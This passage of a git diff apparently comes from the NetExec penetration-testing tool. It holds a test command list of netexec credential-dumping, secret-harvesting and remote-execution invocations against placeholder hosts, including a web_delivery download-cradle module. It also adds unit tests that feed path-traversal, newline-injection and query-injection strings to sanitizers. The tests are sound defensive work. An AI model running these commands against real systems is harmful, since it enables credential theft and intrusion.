LOGIN_PASSWORD KERBEROS -M vnc +netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc -o NO_REMOTEOPS=True +netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wam +netexec winrm TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wifi ##### MSSQL netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # Need a space at the end for kerb regex netexec {DNS} mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # Need a space at the end for kerb regex @@ -273,6 +307,9 @@ netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --rid-bru netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --database netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --sam netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --lsa +netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --dpapi +netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --db-hash +netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --list-backups ##### MSSQL PowerShell netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig --force-ps32 @@ -298,9 +335,17 @@ netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M nanodu netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M test_connection -o HOST=localhost netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M web_delivery -o URL=localhost/dl_cradle netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql_cbt -netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql-dumper -netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql-dumper -o LIKE_SEARCH=test,secret -netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql-dumper -o REGEX=secret SHOW_DATA=False +netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql_dumper +netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql_dumper -o LIKE_SEARCH=test,secret +netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mssql_dumper -o REGEX=secret SHOW_DATA=False +netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M dpapi_hash +netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mobaxterm +netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M mremoteng +netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M rdcman +netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc +netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M vnc -o NO_REMOTEOPS=True +netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wam +netexec mssql TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -M wifi ##### RDP netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS # need an extra space after this command due to regex netexec {DNS} rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS @@ -308,6 +353,10 @@ netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --nla-scree netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS --screenshot netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X ipconfig netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x ipconfig +netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x "echo nxc-rdp-exec" +netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x "echo alpha^&beta" +netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -X "Write-Output 'nxc-rdp-exec'" +netexec rdp TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD KERBEROS -x "echo nxc-rdp-no-output" --no-output ##### SSH - Default test passwords and random key; switch these out if you want correct authentication netexec ssh TARGET_HOST -u LOGIN_USERNAME -p LOGIN_PASSWORD netexec ssh TARGET_HOST -u TEST_USER_FILE -p TEST_PASSWORD_FILE --no-bruteforce diff --git a/tests/test_ip_excluseion.py b/tests/test_ip_excluseion.py new file mode 100644 index 0000000000..85a9369710 --- /dev/null +++ b/tests/test_ip_excluseion.py @@ -0,0 +1,311 @@ +from unittest.mock import patch + +from nxc.parsers.ip import get_local_ip, parse_exclusions, parse_targets + + +class TestGetLocalIP: + """Test local IP detection functionality.""" + + @patch("netifaces.interfaces") + @patch("netifaces.ifaddresses") + def test_get_local_ip_success(self, mock_ifaddresses, mock_interfaces): + """Test successful local IP detection via netifaces.""" + # Mock available interfaces + mock_interfaces.return_value = ["lo", "eth0", "wlan0"] + + # Mock addresses for each interface + import netifaces + mock_ifaddresses.side_effect = lambda iface: { + "lo": {netifaces.AF_INET: [{"addr": "127.0.0.1"}]}, + "eth0": {netifaces.AF_INET: [{"addr": "192.168.1.100"}]}, + "wlan0": {} + }.get(iface, {}) + + result = get_local_ip() + + assert result == "192.168.1.100" + mock_interfaces.assert_called_once() + + @patch("netifaces.interfaces") + @patch("netifaces.ifaddresses") + def test_get_local_ip_skip_localhost(self, mock_ifaddresses, mock_interfaces): + """Test that localhost addresses are skipped.""" + # Mock only loopback interface + mock_interfaces.return_value = ["lo"] + + import netifaces + mock_ifaddresses.return_value = { + netifaces.AF_INET: [{"addr": "127.0.0.1"}] + } + + result = get_local_ip() + + assert result is None + + @patch("netifaces.interfaces") + @patch("netifaces.ifaddresses") + def test_get_local_ip_skip_link_local(self, mock_ifaddresses, mock_interfaces): + """Test that link-local addresses (169.254.x.x) are skipped.""" + mock_interfaces.return_value = ["eth0"] + + import netifaces + mock_ifaddresses.return_value = { + netifaces.AF_INET: [{"addr": "169.254.1.1"}] + } + + result = get_local_ip() + + assert result is None + + @patch("netifaces.interfaces") + def test_get_local_ip_exception_handling(self, mock_interfaces): + """Test when netifaces raises an exception.""" + # Make interfaces() raise an exception + mock_interfaces.side_effect = Exception("Network error") + + result = get_local_ip() + + assert result is None + + +class TestParseExclusions: + """Test exclusion parsing functionality.""" + + def test_parse_exclusions_single_ip(self): + """Test parsing single IP address.""" + exclusions = ["192.168.1.10"] + result = parse_exclusions(exclusions) + + assert result == {"192.168.1.10"} + + def test_parse_exclusions_multiple_ips(self): + """Test parsing multiple IP addresses.""" + exclusions = ["192.168.1.10", "10.0.0.1", "172.16.0.5"] + result = parse_exclusions(exclusions) + + assert result == {"192.168.1.10", "10.0.0.1", "172.16.0.5"} + + def test_parse_exclusions_cidr_range(self): + """Test parsing CIDR notation.""" + exclusions = ["192.168.1.0/30"] # Should expand to .1, .2 + result = parse_exclusions(exclusions) + + expected = {"192.168.1.0", "192.168.1.1", "192.168.1.2", "192.168.1.3"} + assert result == expected + + def test_parse_exclusions_ip_range(self): + """Test parsing IP range notation.""" + exclusions = ["192.168.1.10-192.168.1.12"] + result = parse_exclusions(exclusions) + + expected = {"192.168.1.10", "192.168.1.11", "192.168.1.12"} + assert result == expected + + def test_parse_exclusions_short_range(self): + """Test parsing short IP range notation.""" + exclusions = ["192.168.1.10-12"] # Should expand to 192.168.1.10-192.168.1.12 + result = parse_exclusions(exclusions) + + expected = {"192.168.1.10", "192.168.1.11", "192.168.1.12"} + assert result == expected + + def test_parse_exclusions_hostname(self): + """Test parsing hostname (treated as string).""" + exclusions = ["example.com"] + result = parse_exclusions(exclusions) + + assert result == {"example.com"} + + def test_parse_exclusions_mixed_formats(self): + """Test parsing mixed IP formats.""" + exclusions = [ + "192.168.1.10", # Single IP + "10.0.0.0/31", # CIDR (expands to .0, .1) + "172.16.1.5-7", # Short range + "test.local" # Hostname + ] + result = parse_exclusions(exclusions) + + expected = { + "192.168.1.10", + "10.0.0.0", "10.0.0.1", + "172.16.1.5", "172.16.1.6", "172.16.1.7", + "test.local" + } + assert result == expected + + def test_parse_exclusions_empty_list(self): + """Test parsing empty exclusion list.""" + exclusions = [] + result = parse_exclusions(exclusions) + + assert result == set() + + def test_parse_exclusions_ipv6(self): + """Test parsing IPv6 addresses.""" + exclusions = ["2001:db8::1"] + result = parse_exclusions(exclusions) + + assert result == {"2001:db8::1"} + + +class TestTargetFiltering: + """Test integration of exclusion filtering with target parsing.""" + + def test_target_filtering_excludes_single_ip(self): + """Test that single IP is properly excluded from target list.""" + targets = ["192.168.1.1", "192.168.1.2", "192.168.1.3"] + exclusions = parse_exclusions(["192.168.1.2"]) + + filtered_targets = [target for target in targets if target not in exclusions] + + assert filtered_targets == ["192.168.1.1", "192.168.1.3"] + + def test_target_filtering_excludes_cidr_range(self): + """Test that CIDR range exclusions work properly.""" + targets = ["192.168.1.1", "192.168.1.2", "192.168.1.3", "192.168.1.10"] + exclusions = parse_exclusions(["192.168.1.0/30"]) # Excludes .0-.3 + + filtered_targets = [target for target in targets if target not in exclusions] + + assert filtered_targets == ["192.168.1.10"] + + def test_target_filtering_no_exclusions(self): + """Test that no exclusions leaves targets unchanged.""" + targets = ["192.168.1.1", "192.168.1.2", "192.168.1.3"] + exclusions = parse_exclusions([]) + + filtered_targets = [target for target in targets if target not in exclusions] + + assert filtered_targets == targets + + def test_target_filtering_all_excluded(self): + """Test that all targets can be excluded.""" + targets = ["192.168.1.1", "192.168.1.2"] + exclusions = parse_exclusions(["192.168.1.0/30"]) # Excludes .0-.3 + + filtered_targets = [target for target in targets if target not in exclusions] + + assert filtered_targets == [] + + def test_target_filtering_mixed_formats(self): + """Test filtering with mixed target and exclusion formats.""" + # Targets from parse_targets (simulated) + targets = [] + for target_spec in ["192.168.1.1", "10.0.0.1-3"]: + targets.extend(list(parse_targets(target_spec))) + + # Exclude some targets + exclusions = parse_exclusions(["192.168.1.1", "10.0.0.2"]) + + filtered_targets = [target for target in targets if target not in exclusions] + + expected = ["10.0.0.1", "10.0.0.3"] + assert set(filtered_targets) == set(expected) + + +class TestEdgeCases: + """Test edge cases and error conditions.""" + + def test_exclusions_with_invalid_ip(self): + """Test that invalid IPs are treated as hostnames.""" + exclusions = ["invalid.ip.address"] + result = parse_exclusions(exclusions) + + # Should be treated as hostname + assert result == {"invalid.ip.address"} + + def test_exclusions_duplicate_handling(self): + """Test that duplicate exclusions are handled properly.""" + exclusions = ["192.168.1.1", "192.168.1.1", "192.168.1.2"] + result = parse_exclusions(exclusions) + + # Set should deduplicate + assert result == {"192.168.1.1", "192.168.1.2"} + + def test_exclusions_case_sensitivity(self): + """Test hostname case sensitivity.""" + exclusions = ["Example.COM", "example.com"] + result = parse_exclusions(exclusions) + + # Should preserve case (hostnames are case-insensitive but we preserve input) + assert result == {"Example.COM", "example.com"} + + +class TestConfigIntegration: + """Test config-based exclusion integration.""" + + @patch("nxc.config.exclude_hosts", ["192.168.1.10", "10.0.0.0/30"]) + @patch("nxc.config.skip_self", False) + def test_config_exclusions_loaded(self): + """Test that exclusions are properly loaded from config.""" + from nxc.config import exclude_hosts, skip_self + + assert exclude_hosts == ["192.168.1.10", "10.0.0.0/30"] + assert skip_self is False + + @patch("nxc.config.exclude_hosts", []) + @patch("nxc.config.skip_self", True) + def test_config_skip_self_enabled(self): + """Test that skip_self config option works.""" + from nxc.config import skip_self + + assert skip_self is True + + def test_config_exclusions_processing(self): + """Test that config exclusions are processed correctly.""" + # Simulate config values + config_exclusions = ["192.168.1.10", "10.0.0.0/30"] + + # Process exclusions the same way as in netexec.py + excluded_ips = set() + if config_exclusions: + excluded_ips.update(parse_exclusions(config_exclusions)) + + expected = { + "192.168.1.10", + "10.0.0.0", "10.0.0.1", "10.0.0.2", "10.0.0.3" + } + assert excluded_ips == expected + + +class TestConfigValidation: + """Test config validation and error handling.""" + + def test_malformed_exclude_hosts_syntax_error(self): + """Test that malformed exclude_hosts syntax is handled gracefully.""" + from ast import literal_eval + + # Simulate what happens in config.py with malformed input + malformed_inputs = [ + "[192.168.1.1]", # Missing quotes + "[192.168.1.1, 10.0.0.1]", # Multiple without quotes + "192.168.1.1", # Plain string + "", # Empty string + ] + + for malformed_input in malformed_inputs: + try: + result = literal_eval(malformed_input) + # If we get here, it didn't fail as expected + assert isinstance(result, list), f"Expected list for valid input: {malformed_input}" + except (ValueError, SyntaxError): + # This is expected behavior - should gracefully handle the error + # In actual config.py, this would fall back to empty list + assert True + + def test_exclude_hosts_type_validation(self): + """Test that non-list values are rejected.""" + from ast import literal_eval + + # Test inputs that parse successfully but aren't lists + non_list_inputs = [ + '"192.168.1.1"', # String instead of list + "192", # Integer + "True", # Boolean + ] + + for input_val in non_list_inputs: + result = literal_eval(input_val) + # Should validate that result is a list + assert not isinstance(result, list), f"Input {input_val} should not be a list" diff --git a/tests/test_sanitize.py b/tests/test_sanitize.py new file mode 100644 index 0000000000..1b30de2587 --- /dev/null +++ b/tests/test_sanitize.py @@ -0,0 +1,445 @@ +import ntpath +from importlib.util import module_from_spec, spec_from_file_location +from pathlib import Path, PureWindowsPath +import re +from types import SimpleNamespace +from unicodedata import normalize +from unittest.mock import patch + +import pytest +from impacket import ntlm +from impacket.ldap import ldapasn1 as ldapasn1_impacket + +from nxc.helpers.bloodhound import _add_with_domain, _add_without_domain +from nxc.helpers.misc import sanitize_dns +from nxc.helpers.negotiate_parser import parse_challenge +from nxc.helpers.path import sanitize_path_component +from nxc.parsers.ldap_results import parse_result_attributes + + +class Logger: + def __init__(self): + self.messages = [] + self.extra = {} + + def fail(self, message): + self.messages.append(message) + + def debug(self, message): + self.messages.append(message) + + def highlight(self, message): + self.messages.append(message) + + def display(self, message): + self.messages.append(message) + + def success(self, message): + self.messages.append(message) + + def error(self, message): + self.messages.append(message) + + +class RaisingLogger: + def fail(self, message): + raise RuntimeError(message) + + +class Unstringable: + def __str__(self): + raise ValueError + + +class Challenge: + fields = {} + + def __getitem__(self, key): + return {"TargetInfoFields": b"x", "TargetInfoFields_len": 1}[key] + + +class AVPairs: + def __init__(self, pairs): + self.pairs = pairs + + def __getitem__(self, key): + return self.pairs.get(key) + + +class QueryResult: + def __init__(self, data): + self.result = data + + def data(self): + return self.result + + +class Transaction: + def __init__(self, responses): + self.responses = responses + self.calls = [] + + def run(self, query, **parameters): + self.calls.append((query, parameters)) + return QueryResult(self.responses.pop(0)) + + +class SMBItem: + def __init__(self, name, directory=False): + self.name = name + self.directory = directory + + def get_longname(self): + return self.name + + def is_directory(self): + return self.directory + + +class SMBConnection: + def __init__(self, name): + self.item = SMBItem(name) + self.remote_path = None + + def listPath(self, share, path): + return [self.item] + + def getFile(self, share, remote_path, callback, shareAccessMode=None): + self.remote_path = remote_path + callback(b"content") + + +class RecursiveSMBConnection: + def __init__(self): + self.remote_path = None + + def listPath(self, share, path): + if path == ntpath.join("root", "*"): + return [SMBItem(r"C:\outside", directory=True)] + return [SMBItem("proof.txt")] + + def getFile(self, share, remote_path, callback, shareAccessMode=None): + self.remote_path = remote_path + callback(b"content") + + +class EnumerationSMBConnection: + def getSMBServer(self): + return SimpleNamespace(get_socket=lambda: SimpleNamespace(getsockname=lambda: ("192.0.2.10", 445))) + + def login(self, username, password): + return None + + def getServerDNSHostName(self): + return "HOST/../../evil.example" + + def getServerName(self): + return "NETBIOS" + + def getServerDNSDomainName(self): + return "example\n#injected" + + def getServerOS(self): + return "Windows 11" + + def getServerOSMajor(self): + return 10 + + def getServerOSMinor(self): + return 0 + + def getServerOSBuild(self): + return 26100 + + def logoff(self): + return None + + +@pytest.fixture(scope="module") +def smb_class(): + spec = spec_from_file_location("sanitize_test_smb_protocol", Path(__file__).parents[1] / "nxc" / "protocols" / "smb.py") + module = module_from_spec(spec) + spec.loader.exec_module(module) + return module.smb + + +@pytest.mark.parametrize( + "hostname", + [ + "server", + "SRV-01", + "3com", + "123", + "host.example.com", + "host_name", + "münchen.example", + "-odd-", + "name$@!%^&(),+~`", + "a" * 253, + ], +) +def test_sanitize_dns_preserves_safe_and_noncompliant_names(hostname): + logger = Logger() + assert sanitize_dns(hostname, logger) == hostname + assert logger.messages == [] + + +@pytest.mark.parametrize( + ("hostname", "expected"), + [ + (None, "_"), + ("", "_"), + (".", "_"), + ("..", "__"), + ("host.", "host_"), + ("host name", "host_name"), + ("../../pwn", ".._.._pwn"), + (r"..\..\pwn", ".._.._pwn"), + ("/tmp/pwn", "_tmp_pwn"), + (r"C:\temp", "C__temp"), + ("{output_folder}", "_output_folder_"), + ("host\uff0fname", "host_name"), + (b"server", "server"), + ], +) +def test_sanitize_dns_returns_safe_strings(hostname, expected): + assert sanitize_dns(hostname, Logger()) == expected + + +def test_sanitize_dns_replaces_config_and_control_characters(): + logger = Logger() + sanitized = sanitize_dns("host name\n\x00\x1b#comment;[section]={value}'\"", logger) + assert sanitized == "host_name____comment__section___value___" + assert len(logger.messages) == 1 + assert "\n" not in logger.messages[0] + assert "\x00" not in logger.messages[0] + assert "\x1b" not in logger.messages[0] + assert r"\n" in logger.messages[0] + assert r"\x00" in logger.messages[0] + assert r"\x1b" in logger.messages[0] + + +@pytest.mark.parametrize("name", ["CON", "NUL.txt", "PRN", "AUX.log", "COM1", "LPT9.txt", "COM¹.txt", "CONIN$", "CONOUT$", "aux.example.com", "com1.example.com", "lpt9.example.com"]) +def test_sanitize_dns_preserves_windows_device_names(name): + assert sanitize_dns(name, Logger()) == name + + +def test_sanitize_dns_bounds_long_values_with_stable_hash(): + name = "é" * 200 + sanitized = sanitize_dns(name, Logger()) + assert len(sanitized.encode("utf-8")) <= 253 + assert sanitized == sanitize_dns(name, Logger()) + assert sanitized != name + assert len(sanitized.rsplit("_", 1)[1]) == 12 + + +def test_sanitize_dns_replaces_malformed_bytes(): + assert sanitize_dns(b"host\xffname", Logger()) == "host_name" + + +def test_sanitize_dns_always_returns_a_string(): + assert sanitize_dns(Unstringable(), Logger()) == "_" + assert sanitize_dns("../host", None) == ".._host" + assert sanitize_dns("../host", RaisingLogger()) == ".._host" + + +@pytest.mark.parametrize( + "hostname", + ["\n", "host\n", "host\x00name", "host\u202ename", "../../x", r"..\..\x", "{output_folder}", "host name", "\uff23\uff2f\uff2e"], +) +def test_sanitize_dns_postconditions(hostname): + sanitized = sanitize_dns(hostname, Logger()) + normalized = normalize("NFKC", sanitized) + assert isinstance(sanitized, str) + assert sanitized + assert len(sanitized.encode("utf-8")) <= 253 + assert all(character.isprintable() and not character.isspace() for character in sanitized) + assert not any(character in '<>:"/\\|?*{}[]=#;\'' for character in sanitized) + assert all( + normalized_character.isprintable() + and not normalized_character.isspace() + and normalized_character not in '<>:"/\\|?*{}[]=#;\'' + for character in sanitized + for normalized_character in normalize("NFKC", character) + ) + assert normalized not in (".", "..") + assert not normalized.endswith(".") + assert sanitize_dns(sanitized, Logger()) == sanitized + + +def test_parse_challenge_keeps_dns_and_netbios_names_distinct(): + pairs = AVPairs({ + ntlm.NTLMSSP_AV_HOSTNAME: (0, "NETBIOS_NAME".encode("utf-16le")), + ntlm.NTLMSSP_AV_DNS_HOSTNAME: (0, "server.example.com".encode("utf-16le")), + ntlm.NTLMSSP_AV_DNS_DOMAINNAME: (0, "example.com".encode("utf-16le")), + }) + with patch("nxc.helpers.negotiate_parser.ntlm.NTLMAuthChallenge", return_value=Challenge()), patch("nxc.helpers.negotiate_parser.ntlm.AV_PAIRS", return_value=pairs): + result = parse_challenge(b"challenge") + + assert result["hostname"] == "NETBIOS_NAME" + assert result["dns_hostname"] == "server.example.com" + assert result["domain"] == "example.com" + + +def test_parse_challenge_handles_missing_names(): + with patch("nxc.helpers.negotiate_parser.ntlm.NTLMAuthChallenge", return_value=Challenge()), patch("nxc.helpers.negotiate_parser.ntlm.AV_PAIRS", return_value=AVPairs({})): + result = parse_challenge(b"challenge") + + assert result["hostname"] is None + assert result["dns_hostname"] is None + assert result["domain"] is None + + +def test_ldap_dns_hostname_remains_raw_at_parse_boundary(): + entry = ldapasn1_impacket.SearchResultEntry() + entry["objectName"] = "" + entry["attributes"][0]["type"] = "dNSHostName" + entry["attributes"][0]["vals"][0] = "../../evil\n" + + result = parse_result_attributes([entry]) + + assert result == [{"dNSHostName": "../../evil\n"}] + + +@pytest.mark.parametrize( + ("function", "user_info", "domain", "first_result", "expected"), + [ + (_add_with_domain, {"username": "HOST' OR 1=1$"}, "EXAMPLE' OR 1=1", [{"c": {"owned": False}}], "HOST' OR 1=1.EXAMPLE' OR 1=1"), + (_add_without_domain, {"username": "USER' OR 1=1"}, None, [{"c": {"owned": False, "name": "USER' OR 1=1@EXAMPLE"}}], "USER' OR 1=1"), + ], +) +def test_bloodhound_uses_parameters_for_untrusted_names(function, user_info, domain, first_result, expected): + transaction = Transaction([first_result, [{"name": expected}]]) + if domain is None: + function(user_info, transaction, Logger()) + else: + function(user_info, domain, transaction, Logger()) + + assert len(transaction.calls) == 2 + assert all(expected not in query for query, _ in transaction.calls) + assert transaction.calls[0][1]["user_owned"] == expected + assert transaction.calls[1][1]["user_owned"] in (expected, "USER' OR 1=1@EXAMPLE") + + +def test_smb_enum_host_info_sanitizes_remote_names(smb_class): + connection = smb_class.__new__(smb_class) + connection.conn = EnumerationSMBConnection() + connection.host = "192.0.2.10" + connection.hostname = connection.host + connection.domain = None + connection.no_ntlm = False + connection.isdc = False + connection.os_arch = 0 + connection.smbv1 = False + connection.kerberos = False + connection.kdcHost = "192.0.2.10" + connection.logger = Logger() + connection.db = SimpleNamespace(add_host=lambda *args: None) + connection.args = SimpleNamespace(generate_hosts_file=None, generate_krb5_file=None, domain=None, use_kcache=False, local_auth=False) + connection.is_host_dc = lambda aggressive_check=False: None + connection._is_signing_required = lambda: False + connection.get_os_arch = lambda: 64 + + connection.enum_host_info() + + assert connection.hostname == "HOST_" + assert connection.targetDomain == "example__injected" + + +def test_smb_download_sanitizes_only_the_local_path(tmp_path, smb_class): + remote_name = r"..\..\escape.txt" + connection = smb_class.__new__(smb_class) + connection.conn = SMBConnection(remote_name) + connection.logger = Logger() + connection.args = SimpleNamespace(share="SHARE", append_host=False) + + connection.download_folder("root", str(tmp_path), silent=True) + + assert connection.conn.remote_path == ntpath.join("root", remote_name) + assert (tmp_path / ".._.._escape.txt").read_bytes() == b"content" + assert not (tmp_path.parent / "escape.txt").exists() + + +def test_smb_download_sanitizes_recursive_directory_components(tmp_path, smb_class): + connection = smb_class.__new__(smb_class) + connection.conn = RecursiveSMBConnection() + connection.logger = Logger() + connection.args = SimpleNamespace(share="SHARE", append_host=False) + + connection.download_folder("root", str(tmp_path), recursive=True, silent=True) + + assert connection.conn.remote_path == ntpath.join(r"C:\outside", "proof.txt") + assert (tmp_path / "C_" / "outside" / "proof.txt").read_bytes() == b"content" + + +@pytest.mark.parametrize( + ("name", "expected"), + [ + ("CON", "_CON"), + ("NUL.txt", "_NUL.txt"), + ("../pwn", ".._pwn"), + (r"..\pwn", ".._pwn"), + ("{hostname}", "{hostname}"), + ("report{1}.txt", "report{1}.txt"), + ("report_1_.txt", "report_1_.txt"), + ("report\uff5b1\uff5d.txt", "report\uff5b1\uff5d.txt"), + ("host\u202ename", "host_name"), + ("münchen.example", "münchen.example"), + ("CON .txt", "_CON .txt"), + ], +) +def test_sanitize_path_component_handles_cross_platform_names(name, expected): + assert sanitize_path_component(name) == expected + + +def test_sanitize_path_component_replaces_malformed_bytes(): + assert sanitize_path_component(b"host\xffname") == "host_name" + + +@pytest.mark.parametrize("name", ["../../x", r"C:\x", "\uff23\uff2f\uff2e.txt", "name. ", "x\uff0fy", "{output_folder}"]) +def test_sanitize_path_component_postconditions(name): + sanitized = sanitize_path_component(name) + normalized = normalize("NFKC", sanitized) + normalized_stem = normalized.split(".", 1)[0].rstrip(" ").upper() + assert sanitized + assert len(sanitized.encode("utf-8")) <= 255 + assert all(character.isprintable() for character in sanitized) + assert not any(character in '<>:"/\\|?*' for character in sanitized) + assert all( + normalized_character.isprintable() and normalized_character not in '<>:"/\\|?*' + for character in sanitized + for normalized_character in normalize("NFKC", character) + ) + assert normalized not in (".", "..") + assert not normalized.endswith(".") + assert not normalized[-1].isspace() + assert normalized_stem not in {"CON", "PRN", "AUX", "NUL", "CLOCK$", "CONIN$", "CONOUT$"} + assert re.fullmatch(r"(?:COM|LPT)[1-9]", normalized_stem) is None + assert sanitize_path_component(sanitized) == sanitized + + +def test_sanitize_path_component_bounds_long_names_and_preserves_extension(): + sanitized = sanitize_path_component(f"{'a' * 300}.log") + assert len(sanitized.encode("utf-8")) <= 255 + assert sanitized.endswith(".log") + assert len(sanitized.rsplit("_", 1)[1].removesuffix(".log")) == 12 + + +def test_sanitize_path_component_keeps_paths_inside_base(tmp_path): + sanitized = sanitize_path_component("../../outside") + output = tmp_path / sanitized + assert output.parent == tmp_path + assert PureWindowsPath("C:/base", sanitized).parent == PureWindowsPath("C:/base") + + +def test_sanitize_path_component_honors_custom_budget(): + sanitized = sanitize_path_component("a" * 300, max_bytes=220) + assert len(sanitized.encode("utf-8")) <= 220 + assert sanitized == sanitize_path_component("a" * 300, max_bytes=220) + + +def test_sanitize_path_component_drops_extension_that_exceeds_budget(): + sanitized = sanitize_path_component(f"{'a' * 30}.abcdefghijklmnopqrstuvwx", max_bytes=20) + assert sanitized != "_" + assert len(sanitized.encode("utf-8")) <= 20 + assert sanitize_path_component(sanitized, max_bytes=20) == sanitized diff --git a/tests/test_smb_database.py b/tests/test_smb_database.py index 9ddd9bb801..8d00f09109 100644 --- a/tests/test_smb_database.py +++ b/tests/test_smb_database.py @@ -256,3 +256,76 @@ def test_get_loggedin_relations(): def test_remove_loggedin_relations(): pass + + +def test_get_keys_returns_empty_for_smb(db): + """Protocols without key support (like SMB) must return an empty list. + This also verifies the BaseDB default doesn't raise AttributeError. + """ + keys = db.get_keys() + assert keys == [] + assert isinstance(keys, list) + + +def test_get_keys_all_and_by_id_fallback(db): + """Both call variants (all / by id) fall back to empty for unsupported protocols.""" + assert db.get_keys() == [] + assert db.get_keys(key_id=1) == [] + + +def test_write_list_empty_entries(tmp_path): + """write_list with empty entries truncates the file and writes nothing. + This is why the keys export must guard against empty keys — see the + check in DatabaseNavigator.do_export for the 'keys' command. + """ + from nxc.nxcdb import write_list + + test_file = tmp_path / "test_export.txt" + # Pre-populate the file with data + test_file.write_text("existing content") + assert test_file.read_text() == "existing content" + + # write_list with empty entries opens in "w" mode and writes nothing + write_list(str(test_file), []) + assert test_file.read_text() == "" + + +def test_do_export_keys_empty_guard(db, tmp_path): + """R2 regression: do_export('keys all ') must NOT truncate the + target file when the protocol returns no keys (e.g., SMB). Removing + the empty-key guard in do_export would leave all other tests passing + while restoring false success and file truncation. + """ + import io + + test_file = tmp_path / "keys_export.txt" + test_file.write_text("do not overwrite me") + assert test_file.read_text() == "do not overwrite me" + + # Minimal mock — DatabaseNavigator only needs .config and .workspace + class MockMainMenu: + config = {} + workspace = "test" + + from nxc.nxcdb import DatabaseNavigator + + nav = DatabaseNavigator(MockMainMenu(), db, "smb") + + buf = io.StringIO() + import sys + + old_stdout = sys.stdout + sys.stdout = buf + try: + nav.do_export(f"keys all {test_file}") + finally: + sys.stdout = old_stdout + + output = buf.getvalue() + + # File must remain unchanged — the whole point of the guard + assert test_file.read_text() == "do not overwrite me" + # Failure message must appear + assert "[-] No keys found" in output + # Success message must NOT appear + assert "[+] Keys exported" not in output diff --git a/uv.lock b/uv.lock index 42ec6ed009..b4614374d6 100644 --- a/uv.lock +++ b/uv.lock @@ -1,10 +1,17 @@ version = 1 revision = 3 -requires-python = ">=3.10, <4.0" +requires-python = ">=3.11, <4.0" + +[options] +exclude-newer = "2026-10-13T16:16:27.356501522Z" +exclude-newer-span = "P1D" + +[options.exclude-newer-package] +certipy-nxc = "2026-10-14T17:00:00Z" [[package]] name = "aardwolf" -version = "0.2.14" +version = "0.2.16" source = { registry = "https://pypi.org/simple" } dependencies = [ { name = "arc4" }, @@ -18,7 +25,12 @@ dependencies = [ { name = "tqdm" }, { name = "unicrypto" }, ] -sdist = { url = "https://files.pythonhosted.org/packages/92/88/b1a7e3dd1e727245fe893bb707520ba91cc980443c0c261f730b35244b62/aardwolf-0.2.14.tar.gz", hash = "sha256:360a1a3d046dc2814c2e58339939a8f311ae330c0d1d962790edf45d726af4a6", size = 973985, upload-time = "2026-06-20T21:07:04.498Z" } +sdist = { url = "https://files.pythonhosted.org/packages/71/0f/79f2acb31e1144a3895d17ad9136272d2b75ed3bd24eb1c415129d5e089d/aardwolf-0.2.16.tar.gz", hash = "sha256:52cba79817af963108dcd39e82513deec742387f2fab01a9138abe56f94e7ad2", size = 1013103, upload-time = "2026-10-04T18:44:46.704Z" } +wheels = [ + { url = 